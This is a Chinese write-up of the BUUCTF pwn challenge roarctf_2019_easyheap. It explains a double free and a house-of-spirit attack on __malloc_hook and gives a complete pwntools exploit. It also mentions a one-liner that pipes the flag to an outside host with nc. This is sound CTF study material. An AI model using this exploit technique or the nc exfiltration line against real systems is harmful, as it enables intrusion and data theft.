BUUCTF-PWN roarctf_2019_easyheap(double free, stdout重定向)

这里写目录标题

    • 题目分析
    • 漏洞利用
    • Exp

题目分析

BUUCTF-PWN roarctf_2019_easyheap(double free, stdout重定向)_第1张图片
有添加,删除,展示三个主要功能,不过添加有次数限制,同时限制了申请大小,使得我们不能申请出unsorted bin范围内的chunk
BUUCTF-PWN roarctf_2019_easyheap(double free, stdout重定向)_第2张图片
删除之后没有置空,可以多次free
在这里插入图片描述
show功能有条件限制,而且会把stdout关了
在这里插入图片描述
BUUCTF-PWN roarctf_2019_easyheap(double free, stdout重定向)_第3张图片
添加和后门的次数
在这里插入图片描述
后门函数可以进行calloc和free,同样没有置空,但是后门函数的次数限制逻辑有问题,即使为0还会再进行一次减,这样就不为0了,calloc大小不能控制,为0xa0,在unsorted bin范围内
BUUCTF-PWN roarctf_2019_easyheap(double free, stdout重定向)_第4张图片

漏洞利用

  1. 在输入名字信息时伪造一个chunk,size为0x71
  2. 先利用后门函数进行申请,然后又普通申请一个0x60大小,并释放后门中申请的chunk使得它进入unsorted bin,之后我们在普通申请,就会切割unsorted bin给我们,再次申请获得一个新的chunk,此时就能double free了(因为后门函数仍然指向之前的unsorted bin,但那部分此时被切割给我们了)
  3. 利用house of spirit申请出fake_chunk,并修改0x602090为指定值,并修改正常指针为read_got,利用show功能泄露libc
  4. 在关闭stdout之后,我们仍然可以和程序通信,再次故伎重演,这次利用house of spirit修改__malloc_hook为realloc+0x14,并把__realloc_hook改为one_gadget即可
  5. 最后还有一步,我们需要把stdout重定向到stdin,不然是什么都看不到的,使用exec 1>&0,不过也看到反弹shell的方法(cat flag | nc 192.168.235.128 1234),因为buu反弹shell比较麻烦,所以建议使用重定向

Exp

from pwn import *

r = remote("node3.buuoj.cn", 27712)
#r = process("./roarctf_2019_easyheap")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x400A47
	x/10gx 0x602088
	c
	''')
elf = ELF("./roarctf_2019_easyheap")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
fake_chunk = 0x602060
read_got = elf.got['read']


menu = ">> "
def add(size, content, blind = False):
	if not blind:
		r.recvuntil(menu)
	else:
		sleep(0.3)
	r.sendline('1')
	if not blind:
		r.recvuntil("input the size\n")
	else:
		sleep(0.3)
	r.sendline(str(size))
	if not blind:
		r.recvuntil("please input your content\n")
	else:
		sleep(0.3)
	r.send(content)

def delete(blind = False):
	if not blind:
		r.recvuntil(menu)
	else:
		sleep(0.3)
	r.sendline('2')


def show():
	r.recvuntil(menu)
	r.sendline('3')


def secret(type, content='', blind = False):
	if not blind:
		r.recvuntil(menu)
	else:
		sleep(0.3)
	r.sendline('666')
	if not blind:
		r.recvuntil("build or free?\n")
	else:
		sleep(0.3)
	r.sendline(str(type))	#1.add 2.free
	if type == 1:
		if not blind:
			r.recvuntil("please input your content\n")
		else:
			sleep(0.3)
		r.send(content)
		
r.recvuntil("please input your username:")
payload = p64(0) + p64(0x71) + '\x00'*0x10
r.send(payload)
r.recvuntil("please input your info:")
r.send('b'*0x20)

secret(1, 'a'*0xa0)
add(0x60, 'chunk1\n')
secret(2)
add(0x60, 'chunk0part\n')
add(0x60, 'chunk2\n')
delete()
secret(2)
delete()

add(0x60, p64(fake_chunk))
add(0x60, 'a\n')
add(0x60, 'b\n')
payload = 'a'*0x18 + p64(read_got) + p64(0xDEADBEEFDEADBEEF)
add(0x60, payload)

show()
read_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = read_addr - libc.symbols['read']
one_gadget = libc.address + one_gadget_16[3]
malloc_hook = libc.sym['__malloc_hook']
realloc = libc.sym['realloc']
success("malloc_hook"+hex(malloc_hook))
success("libc_base:"+hex(libc.address))

secret(1, 'a', blind = True)
secret(1, 'a'*0xa0, True)
add(0x60, 'b'*0x60, True)
secret(2, blind = True)
add(0x60, 'c'*0x60, True)
add(0x60, 'd'*0x60, True)
delete(True)
secret(2, blind = True)
delete(True)

add(0x60, p64(malloc_hook-0x23), True)
add(0x60, 'a'*0x60, True)
add(0x60, 'b'*0x60, True)
payload = '\x00'*(0x13-8) + p64(one_gadget) + p64(realloc+0x14)
add(0x60, payload, True)
#sleep(0.3)
r.sendline('1')
sleep(0.3)
r.sendline('10')

r.sendline("exec 1>&0")
r.interactive()

你可能感兴趣的:(BUU-PWN,CTF知识学习)